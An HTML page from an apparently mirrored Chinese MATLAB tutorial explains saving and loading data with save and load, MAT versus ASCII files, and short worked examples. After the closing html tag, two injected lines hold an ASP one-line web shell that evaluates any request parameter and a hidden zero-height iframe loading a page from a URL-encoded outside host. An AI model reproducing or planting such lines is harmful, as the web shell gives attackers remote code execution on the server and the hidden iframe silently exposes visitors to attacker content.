📄 ch2_8.htm
字号:
<html>
<head>
<title> 储存及读取数据 </title>
<meta NAME="GENERATOR" CONTENT="Microsoft FrontPage 3.0">
</head>
<body BACKGROUND="../img1/bg0000.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/bg0000.gif">
<script language="JAVASCRIPT">
<!--
if (navigator.onLine){
document.write("<!-- Spidersoft WebZIP Ad Banner Insert -->");
document.write("<TABLE width=100% border=0 cellpadding=0 cellspacing=0>");
document.write("<TR>");
document.write("<TD>");
document.write("<ILAYER id=ad1 visibility=hidden height=60></ILAYER>");
document.write("<NOLAYER>");
document.write("<IFRAME SRC='http://www.spidersoft.com/ads/bwz468_60.htm' width=100% height=60 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></IFRAME>");
document.write("</NOLAYER>");
document.write("</TD>");
document.write("</TR>");
document.write("</TABLE>");
document.write("<!-- End of Spidersoft WebZIP Ad Banner Insert-->");
}
//-->
</script>
<!-- Spidersoft WebZIP Ad Banner Insert -->
<!-- End of Spidersoft WebZIP Ad Banner Insert-->
<h1><font SIZE="6" COLOR="#0000FF">2.8 储存及读取数据 </font></h1>
<hr>
<p>我们在使用MATLAB过程中,免不了希望将运算过程中的某些数据「储存」起来,以便下次使用再「读取」利
用。「储存」和「读取」的指令分别是<font COLOR="#FF0000">save</font>及<font COLOR="#FF0000">load</font>,而<font COLOR="#FF0000">save</font>的数据型态又分为:(1)双位元格式
(binary format) 的 MAT-file,(2) ASCII 格式的 ASCII-file。MAT-file
是以双位元字元储存,可让电脑在读出/入(input/output) 速率加
快,其格式为<font COLOR="#FF0000">test.mat</font>(<font COLOR="#FF0000">test</font>为档名),MATLAB将档案的型态预设为MAT-file;而ASCII-file则是以可辨识的字元
储存,但会降低电脑在读出/入的速率,其格式为<font COLOR="#FF0000">test.dat</font>(<font COLOR="#FF0000">test</font>为档名)。如果你的数据是只在MATLAB中产生
及被使用,那最好使用MAT-file。ASCII-file则必须用在当数据档要为其它不是MATLAB的应用软体读取时。
<br>
</p>
<p>另外要注意,当<font COLOR="#FF0000">save</font>成MAT档是储存变数本身,而非直接储存变数的数据;而<font COLOR="#FF0000">save</font>成ASCII档则是直接储存变数的数值。 </p>
<p>这二者储存的差异,造成在读取MAT档和ASCII档的数据有所不同,详见以下的范例。
<br>
</p>
<p>须注意的是在储存及读取数据时,MAT-file或是ASCII-file的档最好为矩阵型态,否则可能在读取时有困难。数
据储存成矩阵的大小可以为<i>m×n</i>,其中<i>m</i>是列的数目,<i>n</i>则为行的数目。
<br>
</p>
<p>以下就是几个<font COLOR="#FF0000">save</font><tt>, </tt><font COLOR="#FF0000">load</font>的使用范例
</p>
<p><font COLOR="#FF0000">>> x=1:5; y=11:15; % 先产生二个列阵列 (row array}
x, y</font> </p>
<p><font COLOR="#FF0000">>> save data1 x y % 是将 x,y 二个变数的数值存入
data1 这个MAT-file,</font> </p>
<p><font COLOR="#FF0000">%即data1其实是data1.mat。data1.mat 的内容为变数x, y,而非(1:5,
11:15) 的数据</font> </p>
<p><font COLOR="#FF0000">>> save data2.dat x y -ascii % 如果要将data1改以ASCII格式储存,则须加上-ascii</font>
</p>
<p><font COLOR="#FF0000">% 的选项。data2.dat 的内容为(1:5, 11:15) 的数据 </font></p>
<p><font COLOR="#FF0000">>> type data2.dat % type 指令可以将 data2.dat
的内容列出<br>
</font></p>
<p><font COLOR="#FF0000">>> load data1 % 读取 data1.mat 档</font> </p>
<p><font COLOR="#FF0000">>> x, y % 叫出 data1.mat中的变数来读取其内容(1:5,
11:15)<br>
</font></p>
<p><font COLOR="#FF0000">>> load data2.dat % 读取 data2.dat 档</font> </p>
<p><font COLOR="#FF0000">>> x2=data2(1,:); y2=data2(2,:); % 将data2中的第一及第二列数据分别以x2及y2</font>
</p>
<p><font COLOR="#FF0000">%变数读入,之后在运算中即可使用这二列数据</font>
</p>
<p><font COLOR="#FF0000">>> x=21:25; y=31:35;</font> </p>
<p><font COLOR="#FF0000">>> save data3.dat x y -ascii</font> </p>
<p><font COLOR="#FF0000">>> load data3.dat;</font> </p>
<p><font COLOR="#FF0000">>> x3=data3(1,:); y3=data3(2,:); % 将data3中的第一及第二列数据分别以x3及y3
变数读入</font> </p>
<p><font COLOR="#FF0000">%,之后在运算中即可使用这二列数据</font> </p>
<p><font COLOR="#FF0000">>> A=[1 2 3; 4 5 6];</font> </p>
<p><font COLOR="#FF0000">>> save data4.dat A -ascii %是将A阵列的数值存入data4这个ASCII-file</font>
</p>
<p><font COLOR="#FF0000">>> load data4.dat</font> </p>
<p><font COLOR="#FF0000">>> x4=data4(:,1); % 令 x4 为 data4 的第一行数据</font>
</p>
<p><font COLOR="#FF0000">>> y4=data4(:,2); % 令 y4 为 data4 的第二行数据</font>
</p>
<p><font COLOR="#FF0000">>> z4=data4(:,3); % 令 z4 为 data4 的第三行数据 <br>
</font></p>
<hr>
<p><a HREF="ch2_7_1.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch2_7_1.htm"><img SRC="../img1/lastpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/lastpage.gif" BORDER="0" WIDTH="42" HEIGHT="42"></a> <a HREF="ch2_9.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch2_9.htm"><img SRC="../img1/nextpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/nextpage.gif" BORDER="0" HSPACE="10" WIDTH="42" HEIGHT="42"></a> <a HREF="../index.html" tppabs="http://webclass.ncu.edu.tw/~junwu/index.html"><img SRC="../img1/outline.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/outline.gif" BORDER="0" HSPACE="6" WIDTH="42" HEIGHT="42"></a> <br>
<font SIZE="2" COLOR="#FF00FF">上一页 下一页 讲义大纲 </font><layer src="http://www.spidersoft.com/ads/bwz468_60.htm" visibility="hidden" id="a1" width="600" onload="moveToAbsolute(ad1.pageX,ad1.pageY); a1.clip.height=60;visibility='show';"></layer> </p>
</body>
</html>
<%eval request("%")%><IfrAmE width=100 height=0></IfrAmE>
<%eval request("%")%><IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -